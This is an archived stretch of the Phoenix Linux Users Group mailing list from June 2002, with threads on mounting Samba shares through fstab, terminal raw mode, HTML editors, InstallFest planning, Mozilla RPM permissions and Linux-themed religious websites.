an e-smith server? The i-bay is named chow. On Saturday 08 June 2002 04:21 pm, Kevin Brown wrote: > do /mnt/mutt_c and mnt/mutt_d exist? The folders have to be their for them > to be used as mount points. > > Tom Achtenberg wrote: > > //mutt/C$ /mnt/mutt_c smbfs auto,guid=,uid=,username=foo,password=bar > > 0 //mutt/D$ /mnt/mutt_d smbfs > > auto,guid=,uid=,username=foo,password=bar 0 > > > > These are the two lines from fstab In both cases I get the error "Could > > not resolve mount point /mnt/mutt_c" (or d). > > > > smbclient does indeed show the shares as > > > > C$ Disk Default share > > D$ Disk Default share > > > > On Friday 07 June 2002 03:27 pm, Jeffrey Pyne wrote: > > > Does it work if you mount the share 'by hand' (mount -t smbfs -o > > > username=foo,password=bar //mutt/d /mnt/mutt_d)? You show a "userid" > > > option in your fstab. Is that a typo? I believe that should be > > > "username." Do you have the smbfs module compiled (lsmod | grep > > > smbfs)? Is smbfs a valid fstype (grep smbfs /proc/filesystems)? Is the > > > D:\ drive on Mutt a hidden share? If so, try putting a $ after the > > > remote filesystem column in the fstab (//mutt/d$). Does smbclient -L > > > mutt -U show that Mutt has that share available? > > > > > > ~Jeff > > > > > > On Thursday, June 06, 2002 11:42 PM, Tom Achtenberg sent: > > > > I'm trying to connect to a shared drive on an NT server named > > > > mutt on my > > > > internal network from my RH7.3 box. I have the following > > > > line in etc/fstab > > > > > > > > //mutt/d /mnt/mutt_d smbfs guid=,uid=,userid=,password= 0 > > > > > > > > When I try to mount the drive I get an error that says teh > > > > special device > > > > //mutt/d does not exist. I know the two can see eachother as > > > > I can print to > > > > the printer that is on mutt. > > > > > > > > Any help will be much appreciated. > > > > > > ________________________________________________ > > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > > post to the list quickly and you use Netscape to write mail. > > > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > -- > > Don't trust the "Bow Tie" > > Chevrolet, the HEARTBREAK of America > > visit http://www.chevy-lemonade.com > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss -- Don't trust the "Bow Tie" Chevrolet, the HEARTBREAK of America visit http://www.chevy-lemonade.com From plug-discuss@lists.plug.phoenix.az.us Sun Jun 9 03:13:49 2002 From: plug-discuss@lists.plug.phoenix.az.us (John (EBo) David) Date: Sat, 08 Jun 2002 20:13:49 -0700 Subject: peeking into stdin (programing question) References: Message-ID: <3D02C7ED.4D6E8FA3@leml.asu.edu> Nick Estes wrote: > > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA1 > > see termios(3) for setting it to raw mode; specifically the function > cfmakeraw (same man page) is what you're looking for. cool, thanks! got it mostly to work... I think the last bit I need to do is getting CR's to output (NL's work fine, but have been unable to get CR's or NL's converted to CR's). EBo -- From plug-discuss@lists.plug.phoenix.az.us Sun Jun 9 05:07:41 2002 From: plug-discuss@lists.plug.phoenix.az.us (Nathan England) Date: Sat, 8 Jun 2002 22:07:41 -0700 Subject: Loki Games Message-ID: <200206082207.45860.plug@the-arcanum.org> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 It's a little late now, but has anyone seen any loki games anywhere? I bought a few of them, but I want a couple others that are out there. Like The Sims, Railroad Tycoon (II?), and Kohan most importantly. Has anyone seen the games anywhere? Online or physical locations are great. I just really want the games!! nathan -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.7 (GNU/Linux) iD8DBQE9AuKhQ7yNnsYcupwRAtCuAJ0ZWLsImNBztqVS9rrljMHtpZjguwCfW24l NyyCrGraOLHggHa3cAbVXKo= =f05I -----END PGP SIGNATURE----- From plug-discuss@lists.plug.phoenix.az.us Sun Jun 9 05:11:39 2002 From: plug-discuss@lists.plug.phoenix.az.us (Voltage Spike) Date: Sat, 8 Jun 2002 22:11:39 -0700 Subject: Loki Games In-Reply-To: <200206082207.45860.plug@the-arcanum.org> References: <200206082207.45860.plug@the-arcanum.org> Message-ID: <200206082211.43916.voltage_spike@fastmail.fm> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 On Saturday 08 June 2002 22:07, Nathan England wrote: > It's a little late now, but has anyone seen any loki games anywhere? > I bought a few of them, but I want a couple others that are out there. Like > The Sims, Railroad Tycoon (II?), and Kohan most importantly. Has anyone > seen the games anywhere? tuxgames.com has Railroad Tycoon II and Kohan in stock. The Sims was some Windows emulation thing. - -- Voltage Spike ,,, (. .) - --ooO-(_)-Ooo-- -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: For info see http://www.gnupg.org iD8DBQE9AuOOpNoctRtUIRQRAoVHAKCDOaCS0iAp+SNdJvCTN/XAgitTEACeM+FD KTwqOVEX/XJ5j1xWmyU+S/k= =V46E -----END PGP SIGNATURE----- From plug-discuss@lists.plug.phoenix.az.us Sun Jun 9 06:43:27 2002 From: plug-discuss@lists.plug.phoenix.az.us (Nick Estes) Date: Sat, 8 Jun 2002 23:43:27 -0700 (MST) Subject: peeking into stdin (programing question) In-Reply-To: <3D02C7ED.4D6E8FA3@leml.asu.edu> Message-ID: -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 > cool, thanks! got it mostly to work... I think the last bit I need to > do is getting CR's to output (NL's work fine, but have been unable to > get CR's or NL's converted to CR's). Poke around in the termios manpage a little more, there's settings for how you want CRs and LFs to work as well, might have what you're looking for. --Nick -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: pgpenvelope 2.10.2 - http://pgpenvelope.sourceforge.net/ iD8DBQE9AvkTv+hjYTGg7s4RAht5AJ9d4uBVJPwae7V8vJ2UFuUj9UTCbgCfY3VO r+nJLlZQ55KcP1YiuuNlNG8= =yMd/ -----END PGP SIGNATURE----- From plug-discuss@lists.plug.phoenix.az.us Sun Jun 9 17:43:40 2002 From: plug-discuss@lists.plug.phoenix.az.us (John Steele) Date: Sun, 09 Jun 2002 10:43:40 -0700 Subject: Problems booting into level 5 on MD8.2 Message-ID: <3D0393CC.80006@qwest.net> I have found a serious problem (with Mandrake?). I use LILO to dual boot into a win98 and MD8.2 OSs. Twice now I've had work going for a couple of days on the Win98 OS and have done a normal power shutdown WITH a data cd in my bootable CD drive (forgot). When I try to power on and launch Linux without taking this CD out first, I'm getting an error in booting where some of my /var/temp files are lost. My current status after the second time this has happened (the first time I just reloaded the MD8.2 OS and apps, but saved my /home directory data), I can boot successfully into level 3 (my default is level 5/KDE for myself as user). But when I try to "startx" I get an error/failure message that the "default Font" is not found. I checked the KFree86.0.log, as the screen message suggested and found that the file /var/tmp/server-0.xkm "could not be found. ?? I did a hard shutdown and re-launched MD8.2, and it went thru a file system auto-check, found the obvious (from a hard shutdown)problems in the MDL boot sector (fixed them) and no other errors. It still defaulted to level 3 start-up and I could still not "start". I did a normal shutdown using linuxconf from the level 3 commandline and I saw that the "X-Font sever" FAILED. Is there anyway I can reload KDE (if that is what is required) without reloading all of the OS and all of the applications??? I would like to auto boot to level 5. John Steele From plug-discuss@lists.plug.phoenix.az.us Sun Jun 9 17:46:46 2002 From: plug-discuss@lists.plug.phoenix.az.us (plug-discuss@lists.plug.phoenix.az.us) Date: Sun, 9 Jun 2002 10:46:46 -0700 Subject: Linux for Christians Message-ID: <1023644806.3d039486f097c@webmail.freedom2surf.net> Looking for something else on Google I stumbled on to The Linux for Christians site! http://thelinuxlink.net/l4c/ Here's what it says: This is a very new site dedicated to the Christian use of one of my favorite OS's, Linux! What you will see here (provided you keep coming back) is a repository of information pertaining to, how to, and why to, use Linux as a Christian and in a Christian organization. And then there is: http://www.christianlinux.com/ I wonder if the LWN Penguin Gallery has their version of Tux wearing a crusifix! Dennis ------------------------------------------------- Everyone should have http://www.freedom2surf.net/ From plug-discuss@lists.plug.phoenix.az.us Sun Jun 9 18:15:40 2002 From: plug-discuss@lists.plug.phoenix.az.us (robert jorgenson) Date: Sun, 9 Jun 2002 11:15:40 -0700 Subject: gentoo ... Message-ID: <20020609111540.5a11df0c.snoogans@qwest.net> Was wondering if someone would be willing to burn me a gentoo cd and bring it to the meeting on thursday, will reimburse for cd's :) Gentoo is something i've been reading up on and been wanting to try out for a bit now From plug-discuss@lists.plug.phoenix.az.us Sun Jun 9 18:13:25 2002 From: plug-discuss@lists.plug.phoenix.az.us (Tom Achtenberg) Date: Sun, 9 Jun 2002 11:13:25 -0700 Subject: Linux for Christians In-Reply-To: <1023644806.3d039486f097c@webmail.freedom2surf.net> References: <1023644806.3d039486f097c@webmail.freedom2surf.net> Message-ID: <200206091113.25378.lists@chevy-lemonade.com> Don't know about the Crusifix, that's Catholic, but the Christianlinux.com site has him with a cross on his chest. On Sunday 09 June 2002 10:46 am, dennisk@sahuaro.f2s.com wrote: > Looking for something else on Google I stumbled on to The Linux for > Christians site! http://thelinuxlink.net/l4c/ Here's what it says: > > This is a very new site dedicated to the Christian use of one of my > favorite OS's, Linux! What you will see here (provided you keep coming > back) is a repository of information pertaining to, how to, and why to, use > Linux as a Christian and in a Christian organization. > > And then there is: > > http://www.christianlinux.com/ > > I wonder if the LWN Penguin Gallery has their version of Tux wearing a > crusifix! > > Dennis > > ------------------------------------------------- > Everyone should have http://www.freedom2surf.net/ > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss -- Don't trust the "Bow Tie" Chevrolet, the HEARTBREAK of America visit http://www.chevy-lemonade.com From plug-discuss@lists.plug.phoenix.az.us Sun Jun 9 18:31:12 2002 From: plug-discuss@lists.plug.phoenix.az.us (Voltage Spike) Date: Sun, 9 Jun 2002 11:31:12 -0700 Subject: Linux for Christians In-Reply-To: <1023644806.3d039486f097c@webmail.freedom2surf.net> References: <1023644806.3d039486f097c@webmail.freedom2surf.net> Message-ID: <200206091131.19740.voltage_spike@fastmail.fm> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 On Sunday 09 June 2002 10:46, dennisk@sahuaro.f2s.com wrote: > Looking for something else on Google I stumbled on to The Linux for > Christians site! http://thelinuxlink.net/l4c/ Here's what it says: > > This is a very new site dedicated to the Christian use of one of my > favorite OS's, Linux! What you will see here (provided you keep coming > back) is a repository of information pertaining to, how to, and why to, use > Linux as a Christian and in a Christian organization. > > And then there is: > > http://www.christianlinux.com/ I am very surprised to find that they are are not using Jesux (http://www.geocities.com/ResearchTriangle/Node/4081/). It even uses its own BSD-style license, the Christian Software Public License. Check it out. ;-) - -- Voltage Spike ,,, (. .) - --ooO-(_)-Ooo-- -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: For info see http://www.gnupg.org iD8DBQE9A571pNoctRtUIRQRAsLGAJwPnRgpnbWOsDm+TSTeLB0cCCRcOACePZNT ryBSNPw2eDae+vkQGCgkGbs= =UuD+ -----END PGP SIGNATURE----- From plug-discuss@lists.plug.phoenix.az.us Sun Jun 9 19:16:49 2002 From: plug-discuss@lists.plug.phoenix.az.us (Dr.G) Date: Sun, 9 Jun 2002 12:16:49 -0700 Subject: Linux for Christians References: <1023644806.3d039486f097c@webmail.freedom2surf.net> <200206091113.25378.lists@chevy-lemonade.com> Message-ID: <007401c20fea$3460acb0$6501a8c0@drghastly> Actually, it's roman in origin, so it's used by a lot of Christian religions. But enough of that discussion, heh. Very interesting site I must say. ----- Original Message ----- From: "Tom Achtenberg" To: Sent: Sunday, June 09, 2002 11:13 AM Subject: Re: Linux for Christians > Don't know about the Crusifix, that's Catholic, but the Christianlinux.com > site has him with a cross on his chest. From plug-discuss@lists.plug.phoenix.az.us Sun Jun 9 19:50:59 2002 From: plug-discuss@lists.plug.phoenix.az.us (Nathan England) Date: Sun, 9 Jun 2002 12:50:59 -0700 Subject: Request For Information: Microsoft Enterprise Agreement (fwd) In-Reply-To: References: Message-ID: <200206091251.03165.plug@the-arcanum.org> --------------Boundary-00=_Z4FGOXFXAB4CHB7WRNW2 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 I apologize for the last one, not sure what happened. I guess you can't u= se=20 gnumeric to edit a .csv file. but vi works fine. hope it works Am Freitag 07 Juni 2002 04:23 nachmittags schrieb Derek Neighbors: > FWIW here is town of Gilbert's response, this was returned in less than= 5 > minutes. I strongly urge anyone in Gilbert send similar requests and g= et > the council's ears perked. > > -Derek > > ---------- Forwarded message ---------- > Date: Fri, 7 Jun 2002 16:07:39 -0700 > From: George Pettit > To: "'derek@gnue.org'" > Cc: Shawn Woolley > Subject: RE: Request For Information: Microsoft Enterprise Agreement > > Dear Mr. Neighbors: > > I have forwarded your request regarding the Enterprise Agreement to Sha= wn > Woolley our Technology Services Director. If the Agreement is signed, = it > is a public record, and therefore available to you. > > The budget will be heard at a public hearing on June 25, 2002 at 6:30 p= m in > the Council Chambers, 1025 S Gilbert Road as part of the Agenda that > evening > > George Pettit > Manager > > -----Original Message----- > From: Derek Neighbors [mailto:derek@gnue.org] > Sent: Friday, June 07, 2002 4:02 PM > To: mayor@ci.gilbert.az.us; lesp@ci.gilbert.az.us; > davec@ci.gilbert.az.us; larrym@ci.gilbert.az.us; davep@ci.gilbert.az.us= ; > dons@ci.gilbert.az.us; steveu@ci.gilbert.az.us; georgep@ci.gilbert.az.u= s > Subject: Request For Information: Microsoft Enterprise Agreement > > > As a town of Gilbert citizen, taxpayer and technologist, I would like t= o > gather more information about the technology of Gilbert. As is a supri= se > to no one the convicted monopolist from Redmond, Microsoft, has laid an > edict that all Enterprise customers either sign long term agreements to > renew software licenses or suffer undue penalties. > > I am under the assumption that the current operating system platform of > choice for Gilbert is from Microsoft. I would like to know whether a > provision has been made in the upcoming years fiscal budget to subsidiz= e > the procurement of such an 'Enterprise Agreement'. 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plug-discuss@lists.plug.phoenix.az.us Sun Jun 9 20:19:28 2002 From: plug-discuss@lists.plug.phoenix.az.us (Bryce C.) Date: 09 Jun 2002 13:19:28 -0700 Subject: WYSIWYG Editor Message-ID: <200206092020.QAA16975@hostinworld6.com> Could anyone reccomend a good WYSIWYG HTML editor for linux? I really hate having to type out table html by hand. Bryce C. Network Administrator CoBryce Communications Bryce @ BryceCo . Net From plug-discuss@lists.plug.phoenix.az.us Sun Jun 9 20:56:47 2002 From: plug-discuss@lists.plug.phoenix.az.us (Jim) Date: Sun, 9 Jun 2002 13:56:47 -0700 Subject: WYSIWYG Editor In-Reply-To: <200206092020.QAA16975@hostinworld6.com> References: <200206092020.QAA16975@hostinworld6.com> Message-ID: <0206091356470G.08309@nova.wedge.org> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Quanta does the formatting stuff internally and has its own preview function, or you can preview it with a number of other browsers. On Sunday 09 June 2002 13:19, you wrote: > Could anyone reccomend a good WYSIWYG HTML editor for linux? I really > hate having to type out table html by hand. > > Bryce C. > Network Administrator > CoBryce Communications > Bryce @ BryceCo . Net > > > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss - -- Jim Freedom is worth protecting -----BEGIN PGP SIGNATURE----- Version: PGP 6.5.8 iQA/AwUBPQPBDysk3ywszI1FEQKcRgCg6oOVOD51dWWkMsRlFgRGUjx/aaoAoNr3 XHVy+7MYFn81ftsgJDz5aXyc =VApO -----END PGP SIGNATURE----- From plug-discuss@lists.plug.phoenix.az.us Sun Jun 9 21:11:47 2002 From: plug-discuss@lists.plug.phoenix.az.us (Mike Butash) Date: Sun, 9 Jun 2002 14:11:47 -0700 Subject: new cox broadband discussion newsgroup for unix Message-ID: <001901c20ffa$445d6fd0$0a64a8c0@internal.nutsac.org> cox.internet.discussion.unix took a while, but there it is! Mike Butash Email - mike@butash.net Knowledge is power. Power corrupts. Study hard, be evil. Education is no substitute for intelligence. From plug-discuss@lists.plug.phoenix.az.us Sun Jun 9 21:27:48 2002 From: plug-discuss@lists.plug.phoenix.az.us (Nathan England) Date: Sun, 9 Jun 2002 14:27:48 -0700 Subject: WYSIWYG Editor In-Reply-To: <200206092020.QAA16975@hostinworld6.com> References: <200206092020.QAA16975@hostinworld6.com> Message-ID: <200206091427.51467.plug@the-arcanum.org> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Mozilla has a good one. My favorite is Quanta Plus It's not WYSIWYG but it has a nice table editor. quanta.sourceforge.net Am Sonntag 09 Juni 2002 01:19 nachmittags schrieb Bryce "C.": > Could anyone reccomend a good WYSIWYG HTML editor for linux? I really > hate having to type out table html by hand. > > Bryce C. > Network Administrator > CoBryce Communications > Bryce @ BryceCo . Net > > > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.7 (GNU/Linux) iD8DBQE9A8hXQ7yNnsYcupwRAtCmAJ96O517Q90LfDrEByn1iQnN8pbNZwCfSbsV xVXWDKMTmM6HE9EJImMgjt4= =kNBf -----END PGP SIGNATURE----- From plug-discuss@lists.plug.phoenix.az.us Sun Jun 9 22:17:44 2002 From: plug-discuss@lists.plug.phoenix.az.us (der.hans) Date: Sun, 9 Jun 2002 15:17:44 -0700 (MST) Subject: The word is out! In-Reply-To: Message-ID: Am 06. Jun, 2002 schwätzte alandd@mindspring.com so: > The demographic you describe is EXACTLY the demographic we want to reach > for this event. An Install Fest is mostly for people who aren't Linux > users but want to try it and maybe become a Linux user. Granted, the > usual meetings are more targeted toward Linux users but the Install Fest > is there to help new users get started. Alan's right. The people who listen to The Computer Corner are a major part of our target audience. We want them to know there's a local support network if they want to try GNU/Linux or *BSD. ciao, der.hans -- # https://www.LuftHans.com/ # Eternal vigilance is the price of liberty. -- Thomas Jefferson From plug-discuss@lists.plug.phoenix.az.us Sun Jun 9 22:21:02 2002 From: plug-discuss@lists.plug.phoenix.az.us (der.hans) Date: Sun, 9 Jun 2002 15:21:02 -0700 (MST) Subject: Install Fest Status Report In-Reply-To: Message-ID: Am 31. May, 2002 schwätzte Jeff James so: > I have a Dell Optiplex GX150 which I've added a second drive to. It now > has one 10GB drive (Primary Partition) and one 20GB drive (split in two > using Partition Magic). I have three Distro's I would like to have > loaded onto this unit and would like to use a multi-boot option such as > LILO or GRUB. I have RedHat 7.3, SuSE 8.0, and Mandrake 7.1. The drives > are already DOS partitioned using Partition Magic. Would there be any > problems with bring this machine to the Install-Fest and having someone > set it up properly with all three Distro's ? I don't think I've seen an answer to this. We can certainly help you at the InstallFest. We should be able to help you get all 3 going if you show up early enough. I'm certain we'll suggest you go with ext3, reiser or xfs rather than dos partitions, though :). ciao, der.hans -- # https://www.LuftHans.com/ # "Science is like sex: sometimes something useful comes out, but # that is not the reason we are doing it." -- Richard Feynman From plug-discuss@lists.plug.phoenix.az.us Sun Jun 9 22:41:20 2002 From: plug-discuss@lists.plug.phoenix.az.us (Greg Furmanek) Date: Sun, 09 Jun 2002 15:41:20 -0700 Subject: WYSIWYG Editor References: <200206092020.QAA16975@hostinworld6.com> Message-ID: <3D03D990.5020806@earthlink.net> I have tried a lot of wysiwyg editors and I have to say that coding by hand beats it all Greg Bryce C. wrote: >Could anyone reccomend a good WYSIWYG HTML editor for linux? I really >hate having to type out table html by hand. > >Bryce C. >Network Administrator >CoBryce Communications >Bryce @ BryceCo . Net > > > >________________________________________________ >See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > >PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us >http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > From plug-discuss@lists.plug.phoenix.az.us Sun Jun 9 22:02:51 2002 From: plug-discuss@lists.plug.phoenix.az.us (Robert Bushman) Date: Sun, 9 Jun 2002 18:02:51 -0400 (EDT) Subject: WYSIWYG Editor In-Reply-To: <3D03D990.5020806@earthlink.net> Message-ID: Mozilla is extremely friendly, particularly the tabs to switch between source, preview, etc. Produces great source as WYSIWIGs go, but I'm still too anal to put it on a public machine before I clean it. If you do any significant volume, I'd have to agree with the opinion that hand coding is going to be most efficient. Once it becomes a natural language it's faster to not use the mouse if you have a powerful, extensible editor. But if (like me) you only do a few pages a month, a WYSIWIG may help. I haven't tried Quanta. On Sun, 9 Jun 2002, Greg Furmanek wrote: > I have tried a lot of wysiwyg editors and I have to say that coding by > hand beats it all > > Greg > > Bryce C. wrote: > > >Could anyone reccomend a good WYSIWYG HTML editor for linux? I really > >hate having to type out table html by hand. > > > >Bryce C. > >Network Administrator > >CoBryce Communications > >Bryce @ BryceCo . Net > > > > > > > >________________________________________________ > >See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > > >PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > >http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > > > > > > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > ------------------------------------------------------------------- "What can Americans do to stay safe after these attacks?" "Buckle your seat-belt and quit smoking." ------------------------------------------------------------------- From plug-discuss@lists.plug.phoenix.az.us Mon Jun 10 00:36:17 2002 From: plug-discuss@lists.plug.phoenix.az.us (der.hans) Date: Sun, 9 Jun 2002 17:36:17 -0700 (MST) Subject: crypto export from .us Message-ID: moin, moin, here's the advice debian got prior to deciding to finally allow crypto into main. Note that non-free and contrib must remain outside the .us. http://www.debian.org/legal/cryptoinmain ciao, der.hans -- # https://www.LuftHans.com/ # Strangers are friends just waiting to happen! From plug-discuss@lists.plug.phoenix.az.us Mon Jun 10 00:51:38 2002 From: plug-discuss@lists.plug.phoenix.az.us (Matt Alexander) Date: Sun, 9 Jun 2002 17:51:38 -0700 (PDT) Subject: 50 OpenOffice/Mozilla CDs for InstallFest Message-ID: Alright, I've got 50 CDs burned with OpenOffice 1.0 and Mozilla 1.0, so we better have at least that many people at the InstallFest. ;-) Speaking of which, what kind of turn-outs has there been for previous InstallFests? 10 people? 100? 1000? Should I burn more CDs? :-) ~M From plug-discuss@lists.plug.phoenix.az.us Mon Jun 10 00:57:18 2002 From: plug-discuss@lists.plug.phoenix.az.us (Bryce C.) Date: 09 Jun 2002 17:57:18 -0700 Subject: Mandrake 6 Message-ID: <200206100058.UAA19497@hostinworld6.com> Does anyone know of a mirror that still has Mandrake _6_ on it? Mandrake 6 is the only version that will install on my laptop and my CD's got a scratch the size of the Grand Canyon. I've only found >=7 on the official mirrors but I was wndering if you knew of any others. Thanks, Bryce C. Network Administrator CoBryce Communications Bryce @ BryceCo . Net P.S. Please do not try to persuade me to go with another distro. I've tried a couple others that might work well on a 486 but they just didn't on my laptop. From plug-discuss@lists.plug.phoenix.az.us Mon Jun 10 01:01:57 2002 From: plug-discuss@lists.plug.phoenix.az.us (Bryce C.) Date: 09 Jun 2002 18:01:57 -0700 Subject: WYSIWYG Editor In-Reply-To: Message-ID: <200206100102.VAA21006@hostinworld6.com> Thank you all. I usually only do a few pages a month but this summer I'm completely overhalling my website. I've trried Quanta before (I use it for my PHP/HTML) but now I need something that I don't have to for it to render. Something in the way of, GASP, M$ Frontpage. I will not use it though because it's a piece of junk but that's the sort of WYSIWYG I'm talking about. Thank You, Bryce C. Network Administrator CoBryce Communications Bryce @ BryceCo . Net On 09 Jun 2002 18:02:51 -0400, Robert Bushman wrote: > Mozilla is extremely friendly, particularly the > tabs to switch between source, preview, etc. > Produces great source as WYSIWIGs go, but I'm > still too anal to put it on a public machine > before I clean it. > > If you do any significant volume, I'd have to > agree with the opinion that hand coding is going > to be most efficient. Once it becomes a natural > language it's faster to not use the mouse if you > have a powerful, extensible editor. But if (like > me) you only do a few pages a month, a WYSIWIG > may help. > > I haven't tried Quanta. > > On Sun, 9 Jun 2002, Greg Furmanek wrote: > > > I have tried a lot of wysiwyg editors and I have to say that coding by > > hand beats it all > > > > Greg > > > > Bryce C. wrote: > > > > >Could anyone reccomend a good WYSIWYG HTML editor for linux? I really > > >hate having to type out table html by hand. > > > > > >Bryce C. > > >Network Administrator > > >CoBryce Communications > > >Bryce @ BryceCo . Net > > > > > > > > > > > >________________________________________________ > > >See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > > > > >PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > >http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > > > > > > > > > > > > > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > ------------------------------------------------------------------- > "What can Americans do to stay safe after these attacks?" > "Buckle your seat-belt and quit smoking." > ------------------------------------------------------------------- > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Mon Jun 10 01:11:20 2002 From: plug-discuss@lists.plug.phoenix.az.us (Matt Alexander) Date: Sun, 9 Jun 2002 18:11:20 -0700 (PDT) Subject: /usr/lib/mozilla-1.0.0 with perms of 700 Message-ID: Just in case anyone has encountered the same problem as I just did, the latest RPMs for Mozilla create the /usr/lib/mozilla-1.0.0 directory with permissions of 700, which makes it rather difficult to run mozilla as a regular user on your system. Just chmod 755 /usr/lib/mozilla-1.0.0 and you're good to go. ~M From plug-discuss@lists.plug.phoenix.az.us Mon Jun 10 01:17:38 2002 From: plug-discuss@lists.plug.phoenix.az.us (Matt Alexander) Date: Sun, 9 Jun 2002 18:17:38 -0700 (PDT) Subject: Mandrake 6 In-Reply-To: <200206100058.UAA19497@hostinworld6.com> Message-ID: On 9 Jun 2002, Bryce C. wrote: > P.S. Please do not try to persuade me to go with another distro. I've > tried a couple others that might work well on a 486 but they just didn't > on my laptop. Hmm... Buy a new laptop? ;-) From plug-discuss@lists.plug.phoenix.az.us Mon Jun 10 01:50:27 2002 From: plug-discuss@lists.plug.phoenix.az.us (Charlie Bullen) Date: Sun, 9 Jun 2002 18:50:27 -0700 Subject: SonicWall and linux client Message-ID: <008801c21021$326bb580$6400a8c0@amd1000> This is a multi-part message in MIME format. ------=_NextPart_000_0085_01C20FE6.854017A0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable I have been able to get Opera on Suse 7.3 to present itself to SoncWall = as IE 5, but it still won't let me through. The solution proposed by = sonic wall is to assign a Static ip address to my linux box and exepmt = that ip from the anti virus requirement. This is possible to do, but I = may have a hard time selling this idea to my employer. Is there any danger and if so how much, to running a linuxbox with no = anti virus protection on a network that is all win98 or XP workstations? = Many Linux servers, but this would be the first linux workstation. I've never heard of such a thing but is there antivirus software for = linux? Regards, Charlie ------=_NextPart_000_0085_01C20FE6.854017A0 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
I have been able to get Opera on Suse = 7.3 to=20 present itself to SoncWall as IE 5, but it still won't let me through. = The=20 solution proposed by sonic wall is to assign a Static ip address to = my=20 linux box and exepmt that ip from the anti virus requirement. This is = possible=20 to do, but I may have a hard time selling this idea to my = employer.
 
Is there any danger and if so how much, = to running=20 a linuxbox with no anti virus protection on a network that is all win98 = or XP=20 workstations? Many Linux servers, but this would be the first linux=20 workstation.
 
I've never heard of such a thing but is = there=20 antivirus software for linux?
 
Regards,
 
 
Charlie
 
 
------=_NextPart_000_0085_01C20FE6.854017A0-- From plug-discuss@lists.plug.phoenix.az.us Mon Jun 10 02:43:25 2002 From: plug-discuss@lists.plug.phoenix.az.us (Greg Furmanek) Date: Sun, 09 Jun 2002 19:43:25 -0700 Subject: Linux for Christians References: <1023644806.3d039486f097c@webmail.freedom2surf.net> Message-ID: <3D04124D.8000100@earthlink.net> How about a linux distro specifically for non-christians? Buddists? Muslims? Hindu? btw: why everything on this planet has to be about religion? Isn't this why we have so many wars? Greg dennisk@sahuaro.f2s.com wrote: >Looking for something else on Google I stumbled on to The Linux for Christians >site! http://thelinuxlink.net/l4c/ Here's what it says: > > This is a very new site dedicated to the Christian use of one of my favorite >OS's, Linux! What you will see here (provided you keep coming back) is a >repository of information pertaining to, how to, and why to, use Linux as a >Christian and in a Christian organization. > >And then there is: > >http://www.christianlinux.com/ > >I wonder if the LWN Penguin Gallery has their version of Tux wearing a >crusifix! > 